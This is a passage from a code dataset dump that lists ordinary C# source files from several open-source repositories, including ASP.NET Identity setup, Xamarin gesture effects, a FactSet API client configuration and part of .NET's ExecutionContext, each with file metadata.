content stringlengths 5 1.04M | avg_line_length float64 1.75 12.9k | max_line_length int64 2 244k | alphanum_fraction float64 0 0.98 | licenses list | repository_name stringlengths 7 92 | path stringlengths 3 249 | size int64 5 1.04M | lang stringclasses 2 values |
|---|---|---|---|---|---|---|---|---|
using DomainFramework.Core;
using System;
using System.Collections.Generic;
using Utilities.Validation;
namespace ApplicationLogs.Logs
{
public class CreateApplicationLogInputDto : IInputDataTransferObject
{
public ApplicationLog.LogTypes Type { get; set; }
public string UserId { get; set; }
public string Source { get; set; }
public string Message { get; set; }
public string Data { get; set; }
public string Url { get; set; }
public string StackTrace { get; set; }
public string HostIpAddress { get; set; }
public string UserIpAddress { get; set; }
public string UserAgent { get; set; }
public virtual void Validate(ValidationResult result)
{
((int)Type).ValidateRequired(result, nameof(Type));
UserId.ValidateMaxLength(result, nameof(UserId), 50);
Source.ValidateMaxLength(result, nameof(Source), 256);
Message.ValidateRequired(result, nameof(Message));
Message.ValidateMaxLength(result, nameof(Message), 1024);
Data.ValidateMaxLength(result, nameof(Data), 1024);
Url.ValidateMaxLength(result, nameof(Url), 512);
StackTrace.ValidateMaxLength(result, nameof(StackTrace), 2048);
HostIpAddress.ValidateMaxLength(result, nameof(HostIpAddress), 25);
UserIpAddress.ValidateMaxLength(result, nameof(UserIpAddress), 25);
UserAgent.ValidateMaxLength(result, nameof(UserAgent), 25);
}
}
} | 27.714286 | 79 | 0.64884 | [
"MIT"
] | jgonte/ApplicationLogs | ApplicationLogs/DomainModel/Logs/InputDataTransferObjects/CreateApplicationLogInputDto.cs | 1,552 | C# |
namespace WavelengthTheGame.Entities
{
public interface IBaseEntity
{
string Id {get;set;}
}
} | 16.285714 | 36 | 0.649123 | [
"MIT"
] | davotronic5000/WavelengthTheGame | Entities/IBaseEntity.cs | 114 | C# |
using System;
using System.Collections.Generic;
using System.Data.Entity;
using System.Linq;
using System.Security.Claims;
using System.Threading.Tasks;
using System.Web;
using Microsoft.AspNet.Identity;
using Microsoft.AspNet.Identity.EntityFramework;
using Microsoft.AspNet.Identity.Owin;
using Microsoft.Owin;
using Microsoft.Owin.Security;
using E_Trade2.Models;
namespace E_Trade2
{
public class EmailService : IIdentityMessageService
{
public Task SendAsync(IdentityMessage message)
{
// Plug in your email service here to send an email.
return Task.FromResult(0);
}
}
public class SmsService : IIdentityMessageService
{
public Task SendAsync(IdentityMessage message)
{
// Plug in your SMS service here to send a text message.
return Task.FromResult(0);
}
}
// Configure the application user manager used in this application. UserManager is defined in ASP.NET Identity and is used by the application.
public class ApplicationUserManager : UserManager<ApplicationUser>
{
public ApplicationUserManager(IUserStore<ApplicationUser> store)
: base(store)
{
}
public static ApplicationUserManager Create(IdentityFactoryOptions<ApplicationUserManager> options, IOwinContext context)
{
var manager = new ApplicationUserManager(new UserStore<ApplicationUser>(context.Get<ApplicationDbContext>()));
// Configure validation logic for usernames
manager.UserValidator = new UserValidator<ApplicationUser>(manager)
{
AllowOnlyAlphanumericUserNames = false,
RequireUniqueEmail = true
};
// Configure validation logic for passwords
manager.PasswordValidator = new PasswordValidator
{
RequiredLength = 6,
RequireNonLetterOrDigit = true,
RequireDigit = true,
RequireLowercase = true,
RequireUppercase = true,
};
// Configure user lockout defaults
manager.UserLockoutEnabledByDefault = true;
manager.DefaultAccountLockoutTimeSpan = TimeSpan.FromMinutes(5);
manager.MaxFailedAccessAttemptsBeforeLockout = 5;
// Register two factor authentication providers. This application uses Phone and Emails as a step of receiving a code for verifying the user
// You can write your own provider and plug it in here.
manager.RegisterTwoFactorProvider("Phone Code", new PhoneNumberTokenProvider<ApplicationUser>
{
MessageFormat = "Your security code is {0}"
});
manager.RegisterTwoFactorProvider("Email Code", new EmailTokenProvider<ApplicationUser>
{
Subject = "Security Code",
BodyFormat = "Your security code is {0}"
});
manager.EmailService = new EmailService();
manager.SmsService = new SmsService();
var dataProtectionProvider = options.DataProtectionProvider;
if (dataProtectionProvider != null)
{
manager.UserTokenProvider =
new DataProtectorTokenProvider<ApplicationUser>(dataProtectionProvider.Create("ASP.NET Identity"));
}
return manager;
}
}
// Configure the application sign-in manager which is used in this application.
public class ApplicationSignInManager : SignInManager<ApplicationUser, string>
{
public ApplicationSignInManager(ApplicationUserManager userManager, IAuthenticationManager authenticationManager)
: base(userManager, authenticationManager)
{
}
public override Task<ClaimsIdentity> CreateUserIdentityAsync(ApplicationUser user)
{
return user.GenerateUserIdentityAsync((ApplicationUserManager)UserManager);
}
public static ApplicationSignInManager Create(IdentityFactoryOptions<ApplicationSignInManager> options, IOwinContext context)
{
return new ApplicationSignInManager(context.GetUserManager<ApplicationUserManager>(), context.Authentication);
}
}
}
| 39.290909 | 152 | 0.659417 | [
"MIT"
] | Escan-DNMZ/E-Trade2 | E-Trade2/E-Trade2/App_Start/IdentityConfig.cs | 4,324 | C# |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace BL.Subdomains.FilesGeneration.FilesGenerationUsingOpenXml.Utils
{
internal enum DateFormats
{
ddMMyyyy,
ddMMMMyyyy
}
}
| 18.333333 | 73 | 0.741818 | [
"MIT"
] | OlehTymoshenko/Diploma-API | Diploma/BL.Subdomains.FilesGeneration.FilesGenerationUsingOpenXml/Utils/DateFormats.cs | 277 | C# |
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("DAOTests")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("DAOTests")]
[assembly: AssemblyCopyright("Copyright © 2014")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("e30e619f-a513-495b-ab4a-2b34b8aa6489")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
| 37.540541 | 84 | 0.743701 | [
"MIT"
] | dzhenko/TelerikAcademy | DB/DB-8-EntityFramework-Homework/DAOTests/Properties/AssemblyInfo.cs | 1,392 | C# |
using System;
using System.Windows.Forms;
namespace WMD
{
static class Program
{
/// <summary>
/// Point d'entrée principal de l'application.
/// </summary>
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
if (Environment.GetEnvironmentVariable("DOOMWADDIR", EnvironmentVariableTarget.User) == null && Environment.GetEnvironmentVariable("DOOMWADDIR", EnvironmentVariableTarget.Machine) == null)
{
if (PM.getInstance().StopAskingVar)
Application.Run(new FORM_MAINWIN());
else
Application.Run(new launchCheck());
}
else
Application.Run(new FORM_MAINWIN());
}
}
} | 31.925926 | 200 | 0.571926 | [
"MIT"
] | EricReichenbach/WMD | Doom Mod Manager/Program.cs | 865 | C# |
using UILayouTaro;
using UnityEngine;
using UnityEngine.UI;
public class ImageElement : LTElement, ILayoutableRect
{
public override LTElementType GetLTElementType()
{
return LTElementType.Image;
}
public Image Image;
public static ImageElement GO(Image image)
{
// prefab名を固定してGOを作ってしまおう
var prefabName = "LayouTaroPrefabs/Image";
var res = Resources.Load(prefabName) as GameObject;
var r = Instantiate(res).AddComponent<ImageElement>();
r.Image = image;
return r;
}
public static ImageElement GO(float width, float height)
{
// prefab名を固定してGOを作ってしまおう
var prefabName = "LayouTaroPrefabs/Image";
var res = Resources.Load(prefabName) as GameObject;
var r = Instantiate(res).AddComponent<ImageElement>();
var rectTras = r.GetComponent<RectTransform>();
rectTras.sizeDelta = new Vector2(width, height);
r.Image = null;
return r;
}
public Vector2 RectSize()
{
// ここで、最低でもこのサイズ、とか、ロード失敗したらこのサイズ、とかができる。
var imageRect = this.GetComponent<RectTransform>().sizeDelta;
return imageRect;
}
} | 26.333333 | 69 | 0.649789 | [
"MIT"
] | sassembla/LayouTaro | Assets/LayouTaro/LayouTaroElements/ImageElement.cs | 1,317 | C# |
// <copyright file="RecognizerPlatformEffect.cs" company="Velocity Systems">
// Copyright (c) 2020 Velocity Systems
// </copyright>
[assembly: Xamarin.Forms.ResolutionGroupName("Velocity")]
[assembly: Xamarin.Forms.ExportEffect(
typeof(Velocity.Gestures.Forms.WPF.RecognizerPlatformEffect),
nameof(Velocity.Gestures.Forms.RecognizerEffect))]
namespace Velocity.Gestures.Forms.WPF
{
using System.Reactive.Disposables;
using Velocity.Gestures.WPF;
using Xamarin.Forms;
using Xamarin.Forms.Platform.WPF;
using FormsHoverGestureRecognizer = Velocity.Gestures.Forms.HoverGestureRecognizer;
using FormsLongPressGestureRecognizer = Velocity.Gestures.Forms.LongPressGestureRecognizer;
using FormsPanGestureRecognizer = Velocity.Gestures.Forms.PanGestureRecognizer;
using FormsPinchGestureRecognizer = Velocity.Gestures.Forms.PinchGestureRecognizer;
using FormsSwipeGestureRecognizer = Velocity.Gestures.Forms.SwipeGestureRecognizer;
using FormsTapGestureRecognizer = Velocity.Gestures.Forms.TapGestureRecognizer;
/// <summary>
/// Platform implementation for <see cref="RecognizerEffect"/>.
/// </summary>
public class RecognizerPlatformEffect : PlatformEffect
{
private readonly CompositeDisposable _disposable = new CompositeDisposable();
/// <summary>
/// Initialize the platform effect.
/// </summary>
internal static void Init()
{
// Force .NET Native linker to preserve the effect.
// https://bugzilla.xamarin.com/show_bug.cgi?id=31076
_ = typeof(RecognizerPlatformEffect);
}
/// <inheritdoc/>
protected override void OnAttached()
{
if (!(Element is View view))
{
return;
}
foreach (var recognizer in view.GestureRecognizers)
{
switch (recognizer)
{
case FormsTapGestureRecognizer tap:
_disposable.Add(new TapRecognizer(Control, tap.NumberOfTapsRequired, tap.NumberOfTouchesRequired).Bind(tap, view, _disposable));
break;
case FormsLongPressGestureRecognizer longPress:
_disposable.Add(new LongPressRecognizer(Control, longPress.NumberOfTouchesRequired).Bind(longPress, view, _disposable));
break;
case FormsSwipeGestureRecognizer swipe:
_disposable.Add(new SwipeRecognizer(Control, swipe.DirectionMask, swipe.NumberOfTouchesRequired).Bind(swipe, view, _disposable));
break;
case FormsPanGestureRecognizer pan:
_disposable.Add(new PanRecognizer(Control).Bind(pan, view, _disposable));
break;
case FormsPinchGestureRecognizer pinch:
_disposable.Add(new PinchRecognizer(Control).Bind(pinch, view, _disposable));
break;
case FormsHoverGestureRecognizer hover:
_disposable.Add(new HoverRecognizer(Control).Bind(hover, view, _disposable));
break;
}
}
}
/// <inheritdoc/>
protected override void OnDetached() => _disposable?.Dispose();
}
} | 41.512195 | 153 | 0.630141 | [
"MIT"
] | velocitysystems/gestures | src/Gestures.Forms.WPF/Effects/RecognizerPlatformEffect.cs | 3,406 | C# |
using System;
using NetFusion.Rest.Docs.Core.Descriptions;
using NetFusion.Rest.Docs.Models;
using NetFusion.Web.Mvc.Metadata;
namespace NetFusion.Rest.Docs.Xml.Descriptions
{
/// <summary>
/// Sets the comments associated with a given Web Controller's action method
/// from a .NET Code Comment XML file.
/// </summary>
public class XmlActionComments : IActionDescription
{
private readonly IXmlCommentService _xmlComments;
public XmlActionComments(IXmlCommentService xmlComments)
{
_xmlComments = xmlComments ?? throw new ArgumentNullException(nameof(xmlComments));
}
public void Describe(ApiActionDoc actionDoc, ApiActionMeta actionMeta)
{
actionDoc.Description = _xmlComments.GetMethodComments(actionMeta.ActionMethodInfo);
}
}
} | 32.461538 | 96 | 0.706161 | [
"MIT"
] | grecosoft/NetFusion | netfusion/src/Web/NetFusion.Rest.Docs/Xml/Descriptions/XmlActionComments.cs | 844 | C# |
/*
* PA Engine API
*
* Allow clients to fetch Analytics through APIs.
*
* The version of the OpenAPI document: 3
* Contact: analytics.api.support@factset.com
* Generated by: https://github.com/openapitools/openapi-generator.git
*/
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Reflection;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using FactSet.SDK.Utils.Authentication;
namespace FactSet.SDK.PAEngine.Client
{
/// <summary>
/// Represents a set of configuration settings
/// </summary>
public class Configuration : IReadableConfiguration
{
#region Constants
/// <summary>
/// Version of the package.
/// </summary>
/// <value>Version of the package.</value>
public const string Version = "0.20.0";
/// <summary>
/// Identifier for ISO 8601 DateTime Format
/// </summary>
/// <remarks>See https://msdn.microsoft.com/en-us/library/az4se3k1(v=vs.110).aspx#Anchor_8 for more information.</remarks>
// ReSharper disable once InconsistentNaming
public const string ISO8601_DATETIME_FORMAT = "o";
#endregion Constants
#region Static Members
/// <summary>
/// Default creation of exceptions for a given method name and response object
/// </summary>
public static readonly ExceptionFactory DefaultExceptionFactory = (methodName, response) =>
{
var status = (int)response.StatusCode;
if (status >= 400)
{
return new ApiException(status,
string.Format("Error calling {0}: {1}", methodName, response.RawContent),
response.RawContent, response.Headers);
}
return null;
};
#endregion Static Members
#region Private Members
/// <summary>
/// Defines the base path of the target API server.
/// Example: http://localhost:3000/v1/
/// </summary>
private string _basePath;
/// <summary>
/// Gets or sets the API key based on the authentication name.
/// This is the key and value comprising the "secret" for accessing an API.
/// </summary>
/// <value>The API key.</value>
private IDictionary<string, string> _apiKey;
/// <summary>
/// Gets or sets the prefix (e.g. Token) of the API key based on the authentication name.
/// </summary>
/// <value>The prefix of the API key.</value>
private IDictionary<string, string> _apiKeyPrefix;
private string _dateTimeFormat = ISO8601_DATETIME_FORMAT;
private string _tempFolderPath = Path.GetTempPath();
/// <summary>
/// Gets or sets the servers defined in the OpenAPI spec.
/// </summary>
/// <value>The servers</value>
private IList<IReadOnlyDictionary<string, object>> _servers;
private IOAuth2Client _OAuth2Client = null;
#endregion Private Members
#region Constructors
/// <summary>
/// Initializes a new instance of the <see cref="Configuration" /> class
/// </summary>
[System.Diagnostics.CodeAnalysis.SuppressMessage("ReSharper", "VirtualMemberCallInConstructor")]
public Configuration()
{
Proxy = null;
UserAgent = "fds-sdk/dotnet/PAEngine/0.20.0";
BasePath = "https://api.factset.com";
DefaultHeaders = new ConcurrentDictionary<string, string>();
ApiKey = new ConcurrentDictionary<string, string>();
ApiKeyPrefix = new ConcurrentDictionary<string, string>();
Servers = new List<IReadOnlyDictionary<string, object>>()
{
{
new Dictionary<string, object> {
{"url", "https://api.factset.com"},
{"description", "No description provided"},
}
}
};
// Setting Timeout has side effects (forces ApiClient creation).
Timeout = 100000;
}
/// <summary>
/// Initializes a new instance of the <see cref="Configuration" /> class
/// </summary>
[System.Diagnostics.CodeAnalysis.SuppressMessage("ReSharper", "VirtualMemberCallInConstructor")]
public Configuration(
IDictionary<string, string> defaultHeaders,
IDictionary<string, string> apiKey,
IDictionary<string, string> apiKeyPrefix,
string basePath = "https://api.factset.com") : this()
{
if (string.IsNullOrWhiteSpace(basePath))
throw new ArgumentException("The provided basePath is invalid.", "basePath");
if (defaultHeaders == null)
throw new ArgumentNullException("defaultHeaders");
if (apiKey == null)
throw new ArgumentNullException("apiKey");
if (apiKeyPrefix == null)
throw new ArgumentNullException("apiKeyPrefix");
BasePath = basePath;
foreach (var keyValuePair in defaultHeaders)
{
DefaultHeaders.Add(keyValuePair);
}
foreach (var keyValuePair in apiKey)
{
ApiKey.Add(keyValuePair);
}
foreach (var keyValuePair in apiKeyPrefix)
{
ApiKeyPrefix.Add(keyValuePair);
}
}
#endregion Constructors
#region Properties
/// <summary>
/// Gets or sets the base path for API access.
/// </summary>
public virtual string BasePath {
get { return _basePath; }
set { _basePath = value; }
}
/// <summary>
/// Gets or sets the default header.
/// </summary>
[Obsolete("Use DefaultHeaders instead.")]
public virtual IDictionary<string, string> DefaultHeader
{
get
{
return DefaultHeaders;
}
set
{
DefaultHeaders = value;
}
}
/// <summary>
/// Gets or sets the default headers.
/// </summary>
public virtual IDictionary<string, string> DefaultHeaders { get; set; }
/// <summary>
/// Gets or sets the HTTP timeout (milliseconds) of ApiClient. Default to 100000 milliseconds.
/// </summary>
public virtual int Timeout { get; set; }
/// <summary>
/// Gets or sets the proxy
/// </summary>
/// <value>Proxy.</value>
public virtual WebProxy Proxy { get; set; }
/// <summary>
/// Gets or sets the HTTP user agent.
/// </summary>
/// <value>Http user agent.</value>
public virtual string UserAgent { get; set; }
/// <summary>
/// Gets or sets the username (HTTP basic authentication).
/// </summary>
/// <value>The username.</value>
public virtual string Username { get; set; }
/// <summary>
/// Gets or sets the password (HTTP basic authentication).
/// </summary>
/// <value>The password.</value>
public virtual string Password { get; set; }
/// <summary>
/// Gets the API key with prefix.
/// </summary>
/// <param name="apiKeyIdentifier">API key identifier (authentication scheme).</param>
/// <returns>API key with prefix.</returns>
public string GetApiKeyWithPrefix(string apiKeyIdentifier)
{
string apiKeyValue;
ApiKey.TryGetValue(apiKeyIdentifier, out apiKeyValue);
string apiKeyPrefix;
if (ApiKeyPrefix.TryGetValue(apiKeyIdentifier, out apiKeyPrefix))
{
return apiKeyPrefix + " " + apiKeyValue;
}
return apiKeyValue;
}
/// <summary>
/// Gets or sets certificate collection to be sent with requests.
/// </summary>
/// <value>X509 Certificate collection.</value>
public X509CertificateCollection ClientCertificates { get; set; }
/// <summary>
/// Gets or sets the access token for OAuth2 authentication.
///
/// This helper property simplifies code generation.
/// </summary>
/// <value>The access token.</value>
public virtual string AccessToken { get; set; }
/// <summary>
/// Gets or sets the FactSet Authentication Client
///
/// The FactSet Authentication Client retrieves OAuth2 tokens automatically.
/// </summary>
/// <value>Instantiated Authentication Client</value>
public IOAuth2Client OAuth2Client {
get { return _OAuth2Client; }
set { _OAuth2Client = value; }
}
/// <summary>
/// Gets or sets the temporary folder path to store the files downloaded from the server.
/// </summary>
/// <value>Folder path.</value>
public virtual string TempFolderPath
{
get { return _tempFolderPath; }
set
{
if (string.IsNullOrEmpty(value))
{
_tempFolderPath = Path.GetTempPath();
return;
}
// create the directory if it does not exist
if (!Directory.Exists(value))
{
Directory.CreateDirectory(value);
}
// check if the path contains directory separator at the end
if (value[value.Length - 1] == Path.DirectorySeparatorChar)
{
_tempFolderPath = value;
}
else
{
_tempFolderPath = value + Path.DirectorySeparatorChar;
}
}
}
/// <summary>
/// Gets or sets the date time format used when serializing in the ApiClient
/// By default, it's set to ISO 8601 - "o", for others see:
/// https://msdn.microsoft.com/en-us/library/az4se3k1(v=vs.110).aspx
/// and https://msdn.microsoft.com/en-us/library/8kb3ddd4(v=vs.110).aspx
/// No validation is done to ensure that the string you're providing is valid
/// </summary>
/// <value>The DateTimeFormat string</value>
public virtual string DateTimeFormat
{
get { return _dateTimeFormat; }
set
{
if (string.IsNullOrEmpty(value))
{
// Never allow a blank or null string, go back to the default
_dateTimeFormat = ISO8601_DATETIME_FORMAT;
return;
}
// Caution, no validation when you choose date time format other than ISO 8601
// Take a look at the above links
_dateTimeFormat = value;
}
}
/// <summary>
/// Gets or sets the prefix (e.g. Token) of the API key based on the authentication name.
///
/// Whatever you set here will be prepended to the value defined in AddApiKey.
///
/// An example invocation here might be:
/// <example>
/// ApiKeyPrefix["Authorization"] = "Bearer";
/// </example>
/// … where ApiKey["Authorization"] would then be used to set the value of your bearer token.
///
/// <remarks>
/// OAuth2 workflows should set tokens via AccessToken.
/// </remarks>
/// </summary>
/// <value>The prefix of the API key.</value>
public virtual IDictionary<string, string> ApiKeyPrefix
{
get { return _apiKeyPrefix; }
set
{
if (value == null)
{
throw new InvalidOperationException("ApiKeyPrefix collection may not be null.");
}
_apiKeyPrefix = value;
}
}
/// <summary>
/// Gets or sets the API key based on the authentication name.
/// </summary>
/// <value>The API key.</value>
public virtual IDictionary<string, string> ApiKey
{
get { return _apiKey; }
set
{
if (value == null)
{
throw new InvalidOperationException("ApiKey collection may not be null.");
}
_apiKey = value;
}
}
/// <summary>
/// Gets or sets the servers.
/// </summary>
/// <value>The servers.</value>
public virtual IList<IReadOnlyDictionary<string, object>> Servers
{
get { return _servers; }
set
{
if (value == null)
{
throw new InvalidOperationException("Servers may not be null.");
}
_servers = value;
}
}
/// <summary>
/// Returns URL based on server settings without providing values
/// for the variables
/// </summary>
/// <param name="index">Array index of the server settings.</param>
/// <return>The server URL.</return>
public string GetServerUrl(int index)
{
return GetServerUrl(index, null);
}
/// <summary>
/// Returns URL based on server settings.
/// </summary>
/// <param name="index">Array index of the server settings.</param>
/// <param name="inputVariables">Dictionary of the variables and the corresponding values.</param>
/// <return>The server URL.</return>
public string GetServerUrl(int index, Dictionary<string, string> inputVariables)
{
if (index < 0 || index >= Servers.Count)
{
throw new InvalidOperationException($"Invalid index {index} when selecting the server. Must be less than {Servers.Count}.");
}
if (inputVariables == null)
{
inputVariables = new Dictionary<string, string>();
}
IReadOnlyDictionary<string, object> server = Servers[index];
string url = (string)server["url"];
// go through variable and assign a value
foreach (KeyValuePair<string, object> variable in (IReadOnlyDictionary<string, object>)server["variables"])
{
IReadOnlyDictionary<string, object> serverVariables = (IReadOnlyDictionary<string, object>)(variable.Value);
if (inputVariables.ContainsKey(variable.Key))
{
if (((List<string>)serverVariables["enum_values"]).Contains(inputVariables[variable.Key]))
{
url = url.Replace("{" + variable.Key + "}", inputVariables[variable.Key]);
}
else
{
throw new InvalidOperationException($"The variable `{variable.Key}` in the server URL has invalid value #{inputVariables[variable.Key]}. Must be {(List<string>)serverVariables["enum_values"]}");
}
}
else
{
// use default value
url = url.Replace("{" + variable.Key + "}", (string)serverVariables["default_value"]);
}
}
return url;
}
#endregion Properties
#region Methods
/// <summary>
/// Returns a string with essential information for debugging.
/// </summary>
public static string ToDebugReport()
{
string report = "C# SDK (FactSet.SDK.PAEngine) Debug Report:\n";
report += " OS: " + System.Environment.OSVersion + "\n";
report += " .NET Framework Version: " + System.Environment.Version + "\n";
report += " Version of the API: 3\n";
report += " SDK Package Version: 0.20.0\n";
return report;
}
/// <summary>
/// Add Api Key Header.
/// </summary>
/// <param name="key">Api Key name.</param>
/// <param name="value">Api Key value.</param>
/// <returns></returns>
public void AddApiKey(string key, string value)
{
ApiKey[key] = value;
}
/// <summary>
/// Sets the API key prefix.
/// </summary>
/// <param name="key">Api Key name.</param>
/// <param name="value">Api Key value.</param>
public void AddApiKeyPrefix(string key, string value)
{
ApiKeyPrefix[key] = value;
}
#endregion Methods
#region Static Members
/// <summary>
/// Merge configurations.
/// </summary>
/// <param name="first">First configuration.</param>
/// <param name="second">Second configuration.</param>
/// <return>Merged configuration.</return>
public static IReadableConfiguration MergeConfigurations(IReadableConfiguration first, IReadableConfiguration second)
{
if (second == null) return first ?? GlobalConfiguration.Instance;
Dictionary<string, string> apiKey = first.ApiKey.ToDictionary(kvp => kvp.Key, kvp => kvp.Value);
Dictionary<string, string> apiKeyPrefix = first.ApiKeyPrefix.ToDictionary(kvp => kvp.Key, kvp => kvp.Value);
Dictionary<string, string> defaultHeaders = first.DefaultHeaders.ToDictionary(kvp => kvp.Key, kvp => kvp.Value);
foreach (var kvp in second.ApiKey) apiKey[kvp.Key] = kvp.Value;
foreach (var kvp in second.ApiKeyPrefix) apiKeyPrefix[kvp.Key] = kvp.Value;
foreach (var kvp in second.DefaultHeaders) defaultHeaders[kvp.Key] = kvp.Value;
var config = new Configuration
{
ApiKey = apiKey,
ApiKeyPrefix = apiKeyPrefix,
DefaultHeaders = defaultHeaders,
BasePath = second.BasePath ?? first.BasePath,
Timeout = second.Timeout,
Proxy = second.Proxy ?? first.Proxy,
UserAgent = second.UserAgent ?? first.UserAgent,
Username = second.Username ?? first.Username,
Password = second.Password ?? first.Password,
AccessToken = second.AccessToken ?? first.AccessToken,
OAuth2Client = second.OAuth2Client ?? first.OAuth2Client,
TempFolderPath = second.TempFolderPath ?? first.TempFolderPath,
DateTimeFormat = second.DateTimeFormat ?? first.DateTimeFormat
};
return config;
}
#endregion Static Members
}
}
| 35.898496 | 218 | 0.545188 | [
"Apache-2.0"
] | factset/enterprise-sdk | code/dotnet/PAEngine/v3/src/FactSet.SDK.PAEngine/Client/Configuration.cs | 19,100 | C# |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
/*============================================================
**
**
**
** Purpose: Capture execution context for a thread
**
**
===========================================================*/
using System.Diagnostics;
using System.Diagnostics.CodeAnalysis;
using System.Runtime.CompilerServices;
using System.Runtime.ExceptionServices;
using System.Runtime.Serialization;
namespace System.Threading
{
public delegate void ContextCallback(object? state);
internal delegate void ContextCallback<TState>(ref TState state);
public sealed class ExecutionContext : IDisposable, ISerializable
{
internal static readonly ExecutionContext Default = new ExecutionContext(isDefault: true);
internal static readonly ExecutionContext DefaultFlowSuppressed = new ExecutionContext(AsyncLocalValueMap.Empty, Array.Empty<IAsyncLocal>(), isFlowSuppressed: true);
private readonly IAsyncLocalValueMap? m_localValues;
private readonly IAsyncLocal[]? m_localChangeNotifications;
private readonly bool m_isFlowSuppressed;
private readonly bool m_isDefault;
private ExecutionContext(bool isDefault)
{
m_isDefault = isDefault;
}
private ExecutionContext(
IAsyncLocalValueMap localValues,
IAsyncLocal[]? localChangeNotifications,
bool isFlowSuppressed)
{
m_localValues = localValues;
m_localChangeNotifications = localChangeNotifications;
m_isFlowSuppressed = isFlowSuppressed;
}
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
throw new PlatformNotSupportedException();
}
public static ExecutionContext? Capture()
{
ExecutionContext? executionContext = Thread.CurrentThread._executionContext;
if (executionContext == null)
{
executionContext = Default;
}
else if (executionContext.m_isFlowSuppressed)
{
executionContext = null;
}
return executionContext;
}
private ExecutionContext? ShallowClone(bool isFlowSuppressed)
{
Debug.Assert(isFlowSuppressed != m_isFlowSuppressed);
if (m_localValues == null || AsyncLocalValueMap.IsEmpty(m_localValues))
{
return isFlowSuppressed ?
DefaultFlowSuppressed :
null; // implies the default context
}
return new ExecutionContext(m_localValues, m_localChangeNotifications, isFlowSuppressed);
}
public static AsyncFlowControl SuppressFlow()
{
Thread currentThread = Thread.CurrentThread;
ExecutionContext? executionContext = currentThread._executionContext ?? Default;
if (executionContext.m_isFlowSuppressed)
{
throw new InvalidOperationException(SR.InvalidOperation_CannotSupressFlowMultipleTimes);
}
executionContext = executionContext.ShallowClone(isFlowSuppressed: true);
AsyncFlowControl asyncFlowControl = default;
currentThread._executionContext = executionContext;
asyncFlowControl.Initialize(currentThread);
return asyncFlowControl;
}
public static void RestoreFlow()
{
Thread currentThread = Thread.CurrentThread;
ExecutionContext? executionContext = currentThread._executionContext;
if (executionContext == null || !executionContext.m_isFlowSuppressed)
{
throw new InvalidOperationException(SR.InvalidOperation_CannotRestoreUnsupressedFlow);
}
currentThread._executionContext = executionContext.ShallowClone(isFlowSuppressed: false);
}
public static bool IsFlowSuppressed()
{
ExecutionContext? executionContext = Thread.CurrentThread._executionContext;
return executionContext != null && executionContext.m_isFlowSuppressed;
}
internal bool HasChangeNotifications => m_localChangeNotifications != null;
internal bool IsDefault => m_isDefault;
public static void Run(ExecutionContext executionContext, ContextCallback callback, object? state)
{
// Note: ExecutionContext.Run is an extremely hot function and used by every await, ThreadPool execution, etc.
if (executionContext == null)
{
ThrowNullContext();
}
RunInternal(executionContext, callback, state);
}
internal static void RunInternal(ExecutionContext? executionContext, ContextCallback callback, object? state)
{
// Note: ExecutionContext.RunInternal is an extremely hot function and used by every await, ThreadPool execution, etc.
// Note: Manual enregistering may be addressed by "Exception Handling Write Through Optimization"
// https://github.com/dotnet/runtime/blob/master/docs/design/features/eh-writethru.md
// Enregister variables with 0 post-fix so they can be used in registers without EH forcing them to stack
// Capture references to Thread Contexts
Thread currentThread0 = Thread.CurrentThread;
Thread currentThread = currentThread0;
ExecutionContext? previousExecutionCtx0 = currentThread0._executionContext;
if (previousExecutionCtx0 != null && previousExecutionCtx0.m_isDefault)
{
// Default is a null ExecutionContext internally
previousExecutionCtx0 = null;
}
// Store current ExecutionContext and SynchronizationContext as "previousXxx".
// This allows us to restore them and undo any Context changes made in callback.Invoke
// so that they won't "leak" back into caller.
// These variables will cross EH so be forced to stack
ExecutionContext? previousExecutionCtx = previousExecutionCtx0;
SynchronizationContext? previousSyncCtx = currentThread0._synchronizationContext;
if (executionContext != null && executionContext.m_isDefault)
{
// Default is a null ExecutionContext internally
executionContext = null;
}
if (previousExecutionCtx0 != executionContext)
{
RestoreChangedContextToThread(currentThread0, executionContext, previousExecutionCtx0);
}
ExceptionDispatchInfo? edi = null;
try
{
callback.Invoke(state);
}
catch (Exception ex)
{
// Note: we have a "catch" rather than a "finally" because we want
// to stop the first pass of EH here. That way we can restore the previous
// context before any of our callers' EH filters run.
edi = ExceptionDispatchInfo.Capture(ex);
}
// Re-enregistrer variables post EH with 1 post-fix so they can be used in registers rather than from stack
SynchronizationContext? previousSyncCtx1 = previousSyncCtx;
Thread currentThread1 = currentThread;
// The common case is that these have not changed, so avoid the cost of a write barrier if not needed.
if (currentThread1._synchronizationContext != previousSyncCtx1)
{
// Restore changed SynchronizationContext back to previous
currentThread1._synchronizationContext = previousSyncCtx1;
}
ExecutionContext? previousExecutionCtx1 = previousExecutionCtx;
ExecutionContext? currentExecutionCtx1 = currentThread1._executionContext;
if (currentExecutionCtx1 != previousExecutionCtx1)
{
RestoreChangedContextToThread(currentThread1, previousExecutionCtx1, currentExecutionCtx1);
}
// If exception was thrown by callback, rethrow it now original contexts are restored
edi?.Throw();
}
// Direct copy of the above RunInternal overload, except that it passes the state into the callback strongly-typed and by ref.
